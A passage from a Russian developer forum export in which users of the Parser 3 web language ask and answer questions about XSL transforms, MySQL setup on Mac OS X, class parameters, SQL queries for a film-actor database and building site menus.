		<rubric>\
			<description>Подрубрика 1</description>\
			<link>subrub1</link>\
			<rubric>\
				<description>Рубрика 3-го уровня</description>\
				<link>subrublev3</link>\
			</rubric>\
		</rubric>\
		<rubric>\
			<description>Подрубрика 2</description>\
			<link>subrub2</link>\
		</rubric>\
	</rubric>\
	<rubric>\
		<description>Рубрика 2</description>\
		<link>rub2</link>\
	</rubric>\
	<rubric>\
		<description>Рубрика 3</description>\
		<link>rub3</link>\
	</rubric>\
</navigation>\
\
_________________________________________________________________\
Вот XSL-файл (который производит идентичное преобразование):\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"*|@*|processing-instruction()|text()\">\
	<xsl:copy>\
		<xsl:apply-templates select=\"*|@*|processing-instruction()|text()\"/>\
	</xsl:copy>\
</xsl:template>\
\
</xsl:stylesheet>\
\
_________________________________________________________________\
А на выходе получается нечто:\
\
<navigation>\
<rubric>\
<description>Рубрика 1</description>\
<link>\
<rubric>\
<description>Подрубрика 1</description>\
<link>\
<rubric>\
<description>Рубрика 3-го уровня</description>\
<link>\
</rubric>\
</rubric>\
<rubric>\
<description>Подрубрика 2</description>\
<link>\
</rubric>\
</rubric>\
<rubric>\
<description>Рубрика 2</description>\
<link>\
</rubric>\
<rubric>\
<description>Рубрика 3</description>\
<link>\
</rubric>\
</navigation>\
\
_________________________________________________________________\
То есть совсем не то. \
Почему инструкция processing-instruction() не срабатывает?\
Почему элемент link половинчатый выходит?\
\
\
П.С.\
Вот код парсера:\
\
@main[]\
$sourceDoc[^xdoc::load[in.xml]]\
$transformedDoc[^sourceDoc.transform[style.xsl]]\
^transformedDoc.string[\
    $.method[html]\
]"
"30017","Выложил отдельным архивом. Подходят и для 3.1.2 и для 3.1.3"
"30018","Вы б хоть сказали, что хотите получить...\
\
Ибо, если нужно просто тождественное преобразование, то это пишется в одну строку:\
[code]<xsl:copy-of select=\".\" />[/code]"
"30019","А когда я захожу на сайт, созданный с помощью Парсера, я тоже принимаю [url=http://www.parser.ru/download/license/]это[/url] Лицензионное соглашение?"
"30021","Хех... эти то есть драйвера... но..\
\
на сайте написано:\
\
Библиотеки MySQL лежат в:\
\
/usr/local/mysql/lib/mysql/ (должен быть libmysqlclient.dylib)\
\
Библиотеки PgSQL лежат в:\
\
/usr/local/pgsql/lib/ (должен быть libpq.so)\
\
у меня их нет, и их нет также в Вашем архиве\
\
где взять..."
"30022","Мне не тождественное преобразование нужно. Я хочу быть уверенным, что то что я написал по XML-овски правильно. А раз правильноЮ значит Парсер в чем-то ошибается. Разве те инструкции которые мной написаны не верны? Они ведь должны тождественно преобразовать. Или я все-такие где-то ошибся?"
"30023","Я же не могу поставить за Вас базу данных."
"30024","понятно =)\
\
я тока учусь работать с БД, так что не судите строго... просто мне интересно ччем вызвана ошибка\
1 я недонастроил/недоустановил mySQL\
2. у меня кривой дистрибутив БД\
\
пока еще не понял"
"30025","вместо этого несешь какую-то чушь, от этого и не получается. Попробуй просто спокойно сформулировать требования."
"30026","пожалуйста, почитайте, что такое <xsl:copy"
"30027","А вот то, что приведенный результат не является валидным XML, наводит на мысль, что Вы что-то скрываете."
"30028","Спасибо, я это хотел услышать. Правда сейчас мне там ничего не понятно, в чем ошибка. Пойду разбираться с этим элементом."
"30029","на которую вы дали ссылку"
"30030","В том то и дело, что Парсер мне такой невалидный результат и выдает. А сам XSL-файл взят из учебника (будь он не ладен)."
"30031","Это от того, что тип вывода (xml-output) указан html (по-умолчанию), а нужно xml"
"30032","а меня проигнорируйте, я сегодня заснул в три :)"
"30033","Если Вы ставили то package, что распространяется Apple, в нем действительно нет динамических клиентских библиотек.\
Выложил клиентскую либу с инструкцией по установке."
"30034","который из вы имеет в-виду?\
\
[quote]\
Лицензионное соглашение \
\
Настоящее Лицензионное соглашение (далее «Соглашение») является юридическим договором, заключаемым между Пользователем (физическим или юридическим лицом) и ООО «Студия Арт. Лебедева» (далее «Студия Арт. Лебедева») относительно программы для ЭВМ PARSER (далее «Программа» или «Программное обеспечение»), которая может включать в себя компоненты Программного обеспечения, как записанного на соответствующих носителях, так и распространяемого по каналам сети Интернет, и сопроводительную документацию в печатном и электронном виде. Устанавливая, копируя или иным образом используя Программное обеспечение, Пользователь тем самым принимает условия настоящего соглашения. Если вы не принимаете условий данного соглашения, не устанавливайте и не используйте данную Программу. Программное обеспечение защищено законами и международными соглашениями об авторских правах.\
1. ПРЕДОСТАВЛЕНИЕ ЛИЦЕНЗИИ \
\
Конечному Пользователю предоставляется неисключительная непередаваемая лицензия на использование Программы при соблюдении приведенных ниже условий.\
\
Установка и использование.\
«Студия Арт. Лебедева» предоставляет право установить и использовать Программу.\
\
Резервное копирование.\
Разрешается делать копии Программы так, как этого требуют принятые процедуры архивации и резервного копирования.\
\
Распространение.\
Пользователь имеет право тиражировать, распространять, передавать во временное пользование Программу другим лицам без специального разрешения ООО «Студия Арт. Лебедева» при условии выполнения прочих ограничений данного лицензионного соглашения.\
2. ПРОЧИЕ ПРАВА И ОГРАНИЧЕНИЯ \
\
Сохранение уведомлений об авторских правах.\
Запрещается удалять или изменять какие-либо уведомления об авторских правах на всех копиях Программы и в сопроводительных материалах.\
\
К настоящей лицензии применяются нормы GNU GPL, что означает, что в случае противоречия норм настоящей лицензии нормам GNU GPL применяются нормы GNU GPL.\
3. ПРЕКРАЩЕНИЕ ДЕЙСТВИЯ СОГЛАШЕНИЯ \
\
Без ущерба для чьих-либо прав ООО «Студия Арт. Лебедева» может прекратить действие настоящего соглашения при несоблюдении его условий и ограничений. При прекращении действия соглашения вы обязаны уничтожить все имеющиеся копии Программы.\
4. АВТОРСКОЕ ПРАВО \
\
Все исключительные права, включая авторские права на Программу, принадлежат ООО «Студия Арт. Лебедева» и лично разработчикам, и защищены законами и международными соглашениями об авторских правах.\
5. ОТКАЗ ОТ ГАРАНТИЙ \
\
ООО «Студия Арт. Лебедева» явно отказывается от предоставления каких-либо гарантий по отношению к Программе. Программа и вся относящаяся к ней документация предоставляется «как есть», без какой-либо гарантии, явной или подразумеваемой, включая все без исключения подразумеваемые гарантии товарности или пригодности для какой-либо определенной цели. Пользователь принимает на себя все риски, связанные с использованием или качеством функционирования Программы.\
6. ОТВЕТСТВЕННОСТЬ \
\
ООО «Студия Арт. Лебедева» отказывается нести ответственность за какой-либо ущерб (включая все без исключения случаи потери прибыли, прерывания деловой активности, потери деловой информации или любые убытки), связанный с использованием или невозможностью использования Программы, а также с предоставлением или невозможностью предоставления услуг по технической поддержке, даже если представитель ООО «Студия Арт. Лебедева» был извещен заранее о возможности таких потерь.\
\
При возникновении вопросов по данному соглашению обращайтесь в ООО «Студия Арт. Лебедева»: legal@artlebedev.ru\
[/quote]"
"30035","Спасибо!\
Но не понятно, а зачем он откусил элемент link?\
И почему процессуальную инструкцию пропустил?"
"30036","а вот не знаю почему что-то не так как хочется, мне некогда разбираться."
"30037","Ставил пакет скачаный с mysql.com\
\
спасибо за драйвер, его действительно не хватало, но проблема не исчезла\
\
строчка:\
\"dlcompat: dyld: parser3.cgi can't open library: /usr/local/lib/libdl.1.dylib  (No such file or directory, errno = 2)\" по прежнему вываливается.\
\
попытался найти пакет dlcompat, нашел его  тут: http://star.mfn.unipmn.it/osxgnu/Libraries/dlcompat-10505X.pkg.sit\
\
Но и эта установка не помогла...\
\
нашел dlcompat в сырцах (http://aleron.dl.sourceforge.net/sourceforge/fink/dlcompat-20030629.tar.gz), но в сборке ничерта не соображаю... =(\
\
как быть то?"
"30038","Как всё же сделать, чтобы DTD определять, но при этом XML бы отдавался как есть, не исправленный? Это по-любому парсер делает, гад. Потому что напрямую когда к XML обращаешься, всё нормально. А когда даже просто ::load и response:body -- он МЕНЯЕТСЯ. Мама. Мне всего лишь нужно дату менять. Что мне, матчем это делать, что ли? :-)"
"30039","зачем вам для такой примитивной задачи понадобилось городить огород с xml?\
\
если делаете это для того, чтобы разобраться - я не могу ничего сказать.\
\
если вам просто нужно решить задачу - то может загрузите как текст, сделаете match и отдадите как текст?"
"30040","[quote]\
зачем вам для такой примитивной задачи понадобилось городить огород с xml?\
[/quote]\
Немного не понял. Задача связана с обработкой XML. Я где-то слышал, что Парсер с XML работать умеет, и хорошо. Проблема в том, что я не очень хорошо умею, но это дело наживное.\
[quote]\
если делаете это для того, чтобы разобраться - я не могу ничего сказать.\
[/quote]\
Естественно, чтобы разобраться. Кроме того, мне показалось логичным использовать XML-средства парсера для обработки XML.\
[quote]\
если вам просто нужно решить задачу - то может загрузите как текст, сделаете match и отдадите как текст?\
[/quote]\
Я уже сделал примерно это. Потому что времени разбираться не было. Однако был бы рад услышать, почему не работало, что я сделал не так, и можно ли парсеру сказать не применять DTD.\
\
Да, и почему \"ничего не могу вам сказать\"? ) Типа, RTFM и проч?"
"30041","[quot]\
Да, и почему \"ничего не могу вам сказать\"? ) Типа, RTFM и проч?\
[/quot]\
\
нет. сам подобного не делал, а экспериментировать и пытаться понять что происходит и почему - нет времени."
"30042","пожалуйста, приведите сообщение об ошибке вместо непонятного\
[quote]Маркет принимать отказывается[/quote]\
\
пока не приведёте, выстрел в темноту:\
в DTD заданы значения атрибутов по-умолчанию.\
добавляя эти значения XML не становится хуже, он становится читабельнее.\
этот DTD, как я понимаю(не читал), дан вам yandex'ом.\
так что, даже если что-то не работатает с такими значениями атрибутов, проблема на принимающей стороне:\
это означает, что вам дан один DTD, а реально используется другой.\
только так можно понять, что возникает отличие в значении атрибута, чьё значение явно не задано."
"30043","[b]Цель:[/b] Вывести список персон и выбрать нужных для \"привязки\" к фильму. Т.е. я просто выбираю актеров, которые участвуют в фильме.\
\
В моём случае есть таблица с Персонами (person_id, eng_name, rus_name) - это именна та таблица с актёрами. В ней более 27000 записей. Поэтому я не знаю как будет оптимельнее всего сделать выбор актеров для привязки?\
\
Посмотрел как у Миши сделанно в [url=http://misha.design.ru/coctail/]коктельной базе[/url] (надо сделать аналогично привязки компонент к коктелю), мне понравилось. Думаю, может сделать также?\
\
Правда у Миши на каждую букву по, максимум, [i]20[/i] компонент, а у меня их по [i]200[/i] и [i]более[/i], как думаете, производительно будет делать также?"
"30044","Спасибо, он действительно ставил значения по умолчанию, это было понятно. \
Непонятно было другое -- если DTD лежит на сервере, то XML выдаётся уже \"поправленным\". Если DTD нет, то парсер ругается и XML отдавать вообще не хочет.\
Поменяли расширение у файла и дату стали вписывать перлом.\
Не блеск решение, но что делать :-)"
"30045","Подскажите кто где видел хорошую документацию по рег выражениям НА русском языке."
"30046","если DTD файла нет, а ссылка на него есть, это ошибочная ситуация.\
\
если DTD есть, значения по-умолчанию в нём определены, дальше вопрос к принимающей стороне, как я вас понял, она отказалась принимать такой XML?\
\
короче, почитайте, пожалуйста, FAQ, как нужно сообщать об ошибке, избавьте окружающих от необходимости гадать. и стрелять в темноту."
"30049","27000 это небольшая база, надо только колонку проиндексировать по которой будет производиться поиск.\
\
зы: Если всётаки будет тормозить, ва всегда можете кешировать результат работы.\
\
ззы: Вообще можно было сначала поэкспериментировать, в моём эксперименте тормозов на 1000000 записей небыло (операции чтение, удаление, запись, обновление) на 54000000 записей результатов чтения я так и недождался ;)"
"30050","как должен выглядеть рабочий код?\
задача:\
на сайте:\
  ^use[myclass.p]\
  $class1[^myclass::init[Тут как-то надо передать кешем от одного до десятка параметров типа param1=1]]\
\
в классе:\
\
надо в init что-то сделать, чтобы потом в методах, типа\
@method1[code]\
  ^if(param1){$code}\
\
не могу никак постичь, как мне эти параметры передать при инициализации класса, чтобы потом в методах их проверять..."
"30053","class.p\
[code]\
@CLASS\
class\
\
@init[iparam]\
#iparam --- локальное, а lparam -- глобальное для класса\
$lparam[^hash::create[$iparam]]\
\
@do[text]\
^if($lparam.para1 eq \"1\"){$text}{не $text, a $lparam.para2}\
[/code]\
\
\
index.html\
[code]\
@main[]\
^use[class.p]\
\
#не даём никаких параметров\
$var[^class::init[]]\
^var.do[lala]\
<hr>\
#а теперь скармливаем кучу параметров.\
$var[^class::init[\
	$.para1[1]\
	$.para2[2]\
]]\
^var.do[bebe]\
\
<hr>\
#и ещё раз. с другим значением para1\
$var[^class::init[\
	$.para1[2]\
	$.para2[2]\
]]\
^var.do[hehe]\
[/code]"
"30054","глючит корпоративный proxy. Это был ответ на http://www.parser.ru/forum/?id=30052"
"30056","вот теперь вроде стало все понятно... а не только \"в-принципе\"...\
все дело в волшебном синтаксисе..."
"30057","Поэтому и спрашиваю."
"30058","http://www.parser.ru/forum/?id=10586"
"30059","[code]\
CREATE TABLE movie_to_person (\
  movie_id int(10) NOT NULL default '0',\
  person_id int(10) NOT NULL default '0',\
  status tinyint(4) NOT NULL default '0',\
  UNIQUE KEY ix_movie_to_person_0 (movie_id,person_id,status),\
  KEY ix_movie_to_person_3 (person_id),\
  KEY ix_movie_to_person_1 (movie_id,person_id),\
  KEY ix_movie_to_person_2 (movie_id),\
  KEY ix_movie_to_person_4 (status)\
) TYPE=MyISAM;\
\
\
CREATE TABLE person (\
  person_id int(10) NOT NULL auto_increment,\
  eng_name varchar(255) default NULL,\
  rus_name varchar(255) binary default NULL,\
  PRIMARY KEY  (person_id),\
  UNIQUE KEY ix_person_1 (rus_name),\
  UNIQUE KEY ix_person_2 (eng_name),\
  KEY ix_person_0 (person_id)\
) TYPE=MyISAM;\
[/code]\
\
[code]\
[i]\
movie_id - id фильма\
type - тип привязки (режиссер/актер)\
lang - по какому языку смотрим (rus/eng)\
[/i]\
...\
$person[^MAIN:pSQL.sql[table][\
	SELECT\
		person.person_id as id,\
		person.eng_name,\
		person.rus_name,\
		IF(movie_to_person.movie_id IS NOT NULL,1,0) as checked\
	FROM\
		person\
	^MAIN:pSQL.left_join[from;movie_to_person;movie_to_person.person_id = person.person_id AND movie_to_person.movie_id = $movie_id && movie_to_person.status = $type]\
	WHERE\
		^if($letter ne \"other\"){\
			^MAIN:pSQL.upper[person.${lang}_name] LIKE '$letter%'\
		}{\
			$alphabet[^table::load[nameless;_${lang}_alphabet.cfg]]\
			(^alphabet.menu{\
				^MAIN:pSQL.upper[person.${lang}_name] NOT LIKE '$alphabet.0%'\
			}[AND]) OR\
			person.${lang}_name IS NULL\
		}\
	ORDER BY\
		id ASC\
[/code]\
И потом делаю ^person.menu и генерирую XML...\
\
Совсем коряво? Как оптимальнее сделать?"
"30060","Так вот,\
\
есть таблица, предположим такая:\
\
$price[^table::create{абв бав фыв\
12  ф23 235}]\
\
\
как обычно можно вызвать через $table.абв , но в данном случае я знаю какое название у столбца, а можно ли сделать так чтоб не зная название стобца вызывать соотв. переменую?"
"30061","Срочно нужен скрипт интернет-магазина, написанный на parser. В письме указывайте примерную стоимость и сроки изготовления."
"30062","...что вы пытаетесь найти таким запросом в вашей БД.\
\
общие комментарии:\
1. OR - плохо\
2. ^alphabet.menu{^MAIN:pSQL.upper[person.${lang}_name] NOT LIKE '$alphabet.0%'} - аналогично.\
это menu лучше переделать примерно так: ввести избыточные поля char_ru и char_en и туда при изменении записывать первую букву имени в верхнем регистре. тогда можно прицепить к этим полями индексы и будет делать char_${lang} NOT IN ($alphabet.0)\
но если честно я вообще не понял назначения этого NOT IN (subj)\
3. зачем вам тут left join?"
"30063","Сейчас нет сил разбираться, почему она таки осталась нужна."
"30065","бАльшое спасибо! в следущий раз будем читать FM :)"
"30066","[quote]...что вы пытаетесь найти таким запросом в вашей БД.[/quote]\
[url=http://www.parser.ru/forum/?id=30043]Цель - выделена полужирным[/url]\
\
1,2 - полностью согласен. Насчет избыточных полей - тоже так думал. так и сделаю.\
\
NOT IN - а как мне сделать, чтобы выбирались все имена, не начинающиеся с букв алфавита? (такие есть, лично у меня [b];)[/b])\
\
3 - чтобы знать, что пользователь уже \"привязан\" к фильму!\
Но по этому поводу я подумываю, что лучьше это делать отдельным запросом (создавать таблицу!) а затем генерировать XML алфавитного указателя (1 запрос для получения начальных букв, по которым уже имеются персоны) + XML персон на выбранную букву.\
\
XML алфавитного указателя кешировать и XML персон тоже кешировать. И создавать такую конструкцию:\
[code]\
<person_list\
   select_letter=\"A\"\
>\
   <selected_person>\
      <id>...</id>\
      ...\
   </selected_person>\
\
   <alphabet_index>\
      <letter>A</letter>\
      <letter>B</letter>\
      ...\
   </alphabet_index>\
   <person>\
      <item>\
         <id>...</id>\
         <rus_name>...</rus_name>\
         <eng_name>...</eng_name>\
      </item>\
      ...\
   </peron>\
</peron_list>\
[/code]\
А уже с помощью XSLT всё это преобразовывать в валидный HTML, или так не стоит?\
\
Сильно ли грузят процессор масивные преобразования XML в HTML?"
"30067","или ссылку дайте на то что хотите, иначе долго вокруг форума ходить без результатно будете.\
\
Как говориться магазин магазину ни брат, ни товрищ"
"30068","хочу передать в качестве параметра в ссылке русское слово, все вроде ок, но вот когда этот параметр потом обрабатываю - ничего не получается с обратным преобрахованием %ХХ%ХХ%ХХ%ХХ%ХХ ---> Петров... неужели строить таблицу замен для ^string.replace ?! Или я, как всегда, не заметил слона?"
"30069","Итак, у меня открытый вопрос:\
\
нужен скрипт / ссылка на скрипт / идея скрипта / алгоритм скрипта на ДВУХУРОВНЕВОЕ МЕНЮ типа 1. Первый уровень 1.1 Второй уровень 2. Первый уровень пункт два и т.д...\
\
Предистория здесь:\
http://www.parser.ru/forum/?id=29947"
"30070","1. не заметил\
2. NOT IN - если не буква алфавита то писать туда NULL и не использовать menu как у вас.\
3. а чем не устраивает обычный join? он вообще-то быстрее...\
\
про ваше кеширование я не понял идеи. почему не кешировать готовый html?\
\
transform операция достаточно рессурсоемкая."
"30072","3. Помойму, если я ничего не путаю, если использовать простой join то персоны, которые не привязаны к фильму выведенны не будут, или я ошибаюсь? (что оч. вероятно)\
\
[quote]про ваше кеширование я не понял идеи. почему не кешировать готовый html?[/quote]\
что-то я схожу с ума ;)\
\
[quote]transform операция достаточно рессурсоемкая[/quote]\
ок, на будущее учту. а тут исправлю ;)"
"30073","да как? очень просто - беру request:uri и его делаю split[?], потом эти части - снова split[=], потом уже проверив корректность полученных кусочков, их пытаюсь обработать, только вместо Петров получаю сплошные проценты..."
"30074","Я только начинающий парсерист :) потому с кодом пока не помогу, но алгоритм, кажется простым и удобным :\
1. меню первого уровня хранится в файле menu.cfg, причем каждому пункту соответствует каталог\
2. внутри каждого из этих каталогов так же лежит свой файл menu.cfg со своими каталогами (вложенными) и т.д. хоть до бесконечности.\
 в корневом auto.p описываем метод, выводящий меню из файла menu.cfg, лежащего в корневом же каталоге, при этом в каждом пункте проверяется, совпадает ли адрес ссылки этого пункта с текщим активным путем (вроде того, как в во втором уроке), т.е. если текущий uri у нас равен /anekdot/sexual/, то это значит мы уже на третьем уровне меню. как только найдено совпадение - читаем файл menu.cfg ИЗ ЭТОГО ВЛОЖЕННОГО каталога и выводим со сдвигом... можно рекурсивно :)"
"30075","Пока нет у меня возможности использовать MySQL, хостинг не позволяет...Вот и интересуюсь, использовать table для организации гостевой книги, или там других подобных вещей, может даже форума - достаточно ли быстро будет работать? И вообще, такой подход имеет право на жизнь или лучше утешиться...?"
"30077","опять торможу, тогда действительно left join (надо отдыхать больше)\
\
вот только я бы все равно иначе сделал :)\
1. table::sql с условиями к person без join для получения списка пользователей\
2. hash:sql{SELECT person_id FROM movie_to_person WHERE person_id IN (^person.menu{$person.id}[,]) AND movie_id = $movie_id AND status = ...}\
3. делаю menu, вывожу пользователей и в полученом во втором шаге хеше проверяю - привязан он или нет.\
\
да, запроса два, но они очень легкие и первый проще наворачивать не загоняя sql сервер в ступор.\
\
P.S. никогда не понимал ORDER BY id\
P.P.S. на сегодня все... отдыхать..."
"30078","Для каждого нового сообщения создавать новый файл данных\
\
Подробности в поиске по форуму"
"30079","Вопрос: из записей на форуме следует, что если я добавляю индекс к какой-то частоюзаемой таблице, то это ускоряет поиск. А [b]надо ли что-то менять в структуре запроса к базе, чтобы запрос шел через индекс[/b], а не напрямую? Если нет, зачем тогда каждому отдельному индексу присваивается имя (name)?"
"30081","Три колонки\
id | menu_id | name            |      url\
1  |  1      | Новости         |      /news/\
2  |  1      | Новости компании|      /news_company\
3  |  3      | Форум           |      /forum/\
4  |  3      | Форум Общая     |      /......\
\
Идея понятна?"
"30082","http://www.parser.ru/forum/?id=10761"
"30083","Только вот 2 мне не нравиться ;)\
... WHERE person_id IN (^person.menu{$person.id}[,]) ... там person он 500 и до нескольких тысяч, а вы, помойму сами говорили, что это плохо!.\
\
Сделаю без person_id IN (^person.menu{$person.id}[,]) т.к. привязаных персон максимум  20 ;)\
\
[b]Огромное спасибо![/b]"
"30084","Посмотрите примеры по древовидной структуре, это вам сильно поможет. В вашем случае как раз используется древовидная структура с неглубоким вложением.\
\
Вот пример работы:\
http://www.spearance.ru/parser3/tree/"
"30086","если да, то наверное привязка персон к фильму с выбором их по первой букве не очень хорошая идея. рядом с алфавитом (если он вам так уж нужен) сделайте input type=\"text\" и LIKE '$form:text%' если def $form:text, ибо если по алфавиту то нужно будет дождаться пока эти несколько тысяч загрузятся, а потом выдадутся..."
"30087","Да на каждую букву по несколько тысяч :(\
\
Добавлю поиск, потому что постраничный вывод не устраивает!\
\
Спасибо!"
"30090","Предположим у вас есть такая строка в адресе\
www.site.ru/?name=vasya\
\
Так вот name в данном случае есть имя поля формы, т.е. строка $form:name вернет vasya"
"30091","Как бы не так... =)\
\
Ну да ладно.... попробую потрясти людей из юниксовых форумов"
"30092","сделает дело.\
\
то же, что вы написали, закодирует всё, получится не нужное вам…\
[code]\
%3Fid%3D%CF%E5%F2%F0%EE%E2\
[/code]\
\
и, пожалуйста, почитайте документацию и примеры."
"30093","Кто нибудь может подсказать где можно взять версию интерпритатора динамически слинкованную с glibc версии 2.1.3???\
А то у меня проблемы с установкой Parser 3.0."
"30094","статически скомпонованный бинарник кого не устраивает?"
"30095","В смысл в том что я вряд ли его смогу собрать, а вот скомпонованный не подойдёт.\
=("
"30096","Забыл сообщить OS Openwall GNU/*/Linux.\
Совместима с RedHat Linux 6.2"
"30100","Не получилось, вернулся =)\
\
Сейчас получаю сообщение такого вида.\
\
Can't connect to local MySQL server through socket '/usr/local/mysql/run/mysql_socket' (2)\
mysql://****@localhost/test\
\
поиски сокета ни к чему не привели... в доках на сайте mysql заявлено что сокет находится в /etc/mysql.sock, но и там его нет... Если у Вас версия рабочая, скажите откуда вы ее ставили, или сошлитесь если знаете на корректную документацию...\
\
Спасибо зарание...\
\
(Дабы меня не сочли полным ламером, скажу, что в тоже время на РС в винХР проблем с базой нет и все работет... разумеется в пакете Денвер)"
"30101","укажите реальный\
[code]\
mysql://...@ip.ad.re.ss/...\
[/code]\
\
вместо localhost или 127.0.0.1, это заставит клиентскую библиотеку соединиться по IP протоколу, вместо unix socket.\
\
2. \
если чтение документации и конфигов не помогает, socket можно просто поискать :)\
[code]\
find / -name mysql.socket\
[/code]"
"30102","PAF, честно признаться мне это ни о чем не говорит.\
Статически скомпонованный бинарник.\
Я могу что то написать для Parser'a, а процесс установки у меня вызывает дрожь в коленках."
"30103","[code]$SQL.connect-string[mysql://root:@127.0.0.1/mysql][/code]\
это строка подключения к свежеустановленному MySQL (есть только database \"mysql\")."
"30104","да! Вот теперь все как надо.\
просто сделал под Parser  отдельный хост на IP своей машины в локальной сети. Сразу все встало на место... спасибо...\
=)"
"30105","этот тоже специально обрабатывается в libmysqlclient."
"30106","Для MacOSX варианты connect-string таковы:\
(если MySQL установлен из бинарного пэккаджа)\
\
$SQL.connect-string[mysql://user:pass@127.0.0.1/mysql] (через IP)\
$SQL.connect-string[mysql://user:pass@[/private/tmp/mysql.sock]/mysql] (через socket)\
\
через socket побыстрее будет"
"30107","1. Прикручиваю CGI к Линуксу (права 777)\
2. Заливаю сайт (на Выне все оки)\
3. Заливаю .htaccess\
4. В результате: 500 еррор + в логе \"Invalid command 'Action', perhaps mis-spelled or defined by a module not included in the server configuration\"\
\
Поиск по форуму ничего не дал, тех суппорт провайдера слинял кудато, босс грозится растрелять. Отсюда мысли мрачные.\
Что делать если до httpd.conf добраться нельзя?"
"30108","у вас с провайдером договор?\
если босс пристаёт, дайте ему почитать место в договоре."
"30109","Не совсем понятно изза чего сие безобразие приключилось, еще теплица надежда что тех суппорт обьявится, что в таком случае ему заявить?"
"30112","Спасибо за совет! Самым полезным оказался [b]Кодер[/b], который просто и доходчиво разъяснил, как передаются параметры формы :) Большое отдельное ему спасибо!"
"30113","не котируется?"
"30114","Вы сами себе подстроили злую шутку (это видно из вопросов таких неумех, как я - их много на форуме): с первой страницы заявляете, что парсер позволяет делать сайты, не будучи программистом! Кто ж после этих слов дочитает доку до конца ?! :)\
Чем дальше я вникаю в парсер, тем больше он мне нравится, но и со мной та же штука : только что-то вычитал, сразу хочется пустить в дело, а дочитывать всякие примечания и т.п. уже вроде и ни к чему - все ж так просто! :)\
Если б вы сделали доку более строгой и акадимичной, было б меньше вопросов....и поклонников парсера!"
"30115","А то, что цепь работающей бензопилы нельзя трогать руками, тоже опытным путем устанавливаете?"
"30116","Отдельное пожалуйста, но PAF прав. В доке все это есть. Читать внимательно и вдумчиво!"
"30117",":-) и чтобы нажал на кнопку, а оно все сделало...\
см. http://www.autowest.ru\
там оригинальный механизм действия \"положить в корзину\"\
а вообще на Ваш вопрос конкретно только студенты могут ответить - 100 баксов\
а что это будет за скрипт, фиг знает :-)"
"30118","Если б еще знать, как в этом HTML-е ноги приделаны... в смысле, хоть я и догадывался, что параметры формы передаются через адресную строку, но не был в том уверен...и едва ли не 3 минуты назад выяснил, что разные параметры разделяются в строке не вопросами, а знаком [b]&[/b]\
Вам, наверное, смешно... Но все когда-то начинали чему-то учиться..."
"30119",":-) и чтобы нажал на кнопку, а оно все сделало...\
см. http://www.autowest.ru\
там оригинальный механизм действия \"положить в корзину\"\
а вообще на Ваш вопрос конкретно только студенты могут ответить - 100 баксов\
а что это будет за скрипт, фиг знает :-)"
"30120","а что, когда вы покупаете, например телевизор, в рекламе к которому сказано \"справится и ребенок\" - вы сначала изучаете инструкцию ?! Уверен, что после того, как телек закодируется от \"доступа детей\", только тогда :)"
"30122","только одного чтения мало - ваш ответ прояснил все за 15 секунд, что читая вдумчиво и внимательно, я пытался понять больше нескольких часов. причина одна - дока писана для тех, кто и так знает, что такое протоколы, серверы, SQLи и прочее... а кто не очень знает - тому как быть? Правильно, учиться! - вот и учусь!"
"30124","Ибо если они прилагаются, значит надо читать."
"30125","Имеем структуру:\
1. Анекдоты\
1.1 пошлые\
1.2 не пошлые\
2. Истории\
2.1 обычные\
2.3 эротические\
3. И так далее... 3.1/3.2/3.2\
\
Имеем файл где храним это в таблице:\
item_id parent_id name uri\
1 0 Анекдоты /?id=anecdots\
2 1 Пошлые /poshalya.html\
3 1 Не пошлые /neposhalya.html\
4 0 Истории /?id=istoryy\
5 2 Обычные /obychnyy.html\
6 2 Эротичные /eroti.hmtl \
\
Как я хочу что бы это заработало (скрытие неактивных разделов)?\
1. Анекдоты\
1.1 пошлые\
1.2 не пошлые\
2. Истории\
3. И так далее... \
\
Что я писал для этого? (все неправильно выводится!!!)\
\
$songs[^table::load[./songslist.txt]]\
\
^songs.menu{\
^chapters_onthescreen[]\
}\
\
@chapters_onthescreen[]\
\
^if($songs.parent_id eq \"0\"){\
<a href=\"./\"><nobr>$songs.name</nobr><br></a>\
\
^songs.menu{\
^songs_onthescreen[]\
}\
}\
\
@songs_onthescreen[]\
\
^if(\"$songs.uri\" eq $request:uri){\
<nobr>$songs.name</nobr><br>\
}{\
\
^if($songs.parent_id eq \"??????чего здесь???????\"){\
<a href=\"./$songs.uri\"><nobr>$songs.name</nobr></a><br>\
}\
}\
\
По чьему руководству я это делал?\
http://www.parser.ru/forum/?id=23348\
\
Примерно чего я хочу как всегда здесь:\
http://www.alfabank-express.ru/remoteaccess/atm/\
\
Реализация должна быть на таблице из файлика.\
\
Лучше пример, готовый, \
если нет, то алгоритм,\
какое menu из какого вызывать и что с чем сравнивать,\
лучше с указанием используемый выражений.\
\
p.s. древовидные стр-ры не предлагать\
p.s. поиск по форуму предлагать (с указанием \"кл. слов\") а лучше сразу ссылок, т.к. по \"меню\" не ищется... слишком много."
"30126","там все про $form и всякие SQL-запросы, а про то, где эти данные находятся, как приходят - это ВАМ понятно, а для меня - темный лес... уж простите"
"30127","С алгоритмом, с кодом, с ошибками(чтоб мозги работали)\
http://www.parser.ru/examples/trees/"
"30128","Версия парсера - 3.1.2, OC RedHat 9\
Получаю сообщение об ошибке:\
\
file.access\
файл_класса [строка]\
apr_sdbm_fetch error: Unknown error 1024 (1024)\
B3BBDD1F-135A-47EA-BA7A-63DD76E03768\
\
Сей идентификатор - взят из куки, кука не пуста, ошибка возникает при попытке считать значение из хешфайла $var[$hashfile.$cookie_value] \
В чем может быть дело ?"
"30129","1. зачем форум, если опытные люди не хотят помочь начинающим? я же сказал, что деревья для меня сложно, и громозко. а говорят, что парсер легкий. что бы сделать два уроня и три пунтка, вы хотите что бы я СКУЭЛЬ коннектил. фигушки."
"30130","Значение ключа, которое я пытаюсь прочитать - заведомо отсутствует в хешфайле. Это подпадает под ситуацию \"объекты данного класса считаются всегда определенным\", что ли ? Но тогда непонятно, почему ошибка возникает не каждый раз в такой ситуации, а только начиная с некоторого момента (когда в хешфайле уже есть несколько ключей, нормально записанных после проверки на существование). После такой ошибки хешфайл можно только удалить вручную, ничего с ним сделать уже невозможно :((("
"30133","быстродействие ^table - не нахожу\
^table или SQL - не нахожу\
новый файл - не нахожу\
^table вместо базы - не нахожу...\
\
...блин, да как же найти-то?!"
"30134","Я могу вам только помочь, если есть время, желание и моих знаний достаточно.\
\
По порядку чего вам непонятно\
Варианты ответов\
1) Как хранить(организовать хранение) данные\
2) Непонятно как эти данные использовать\
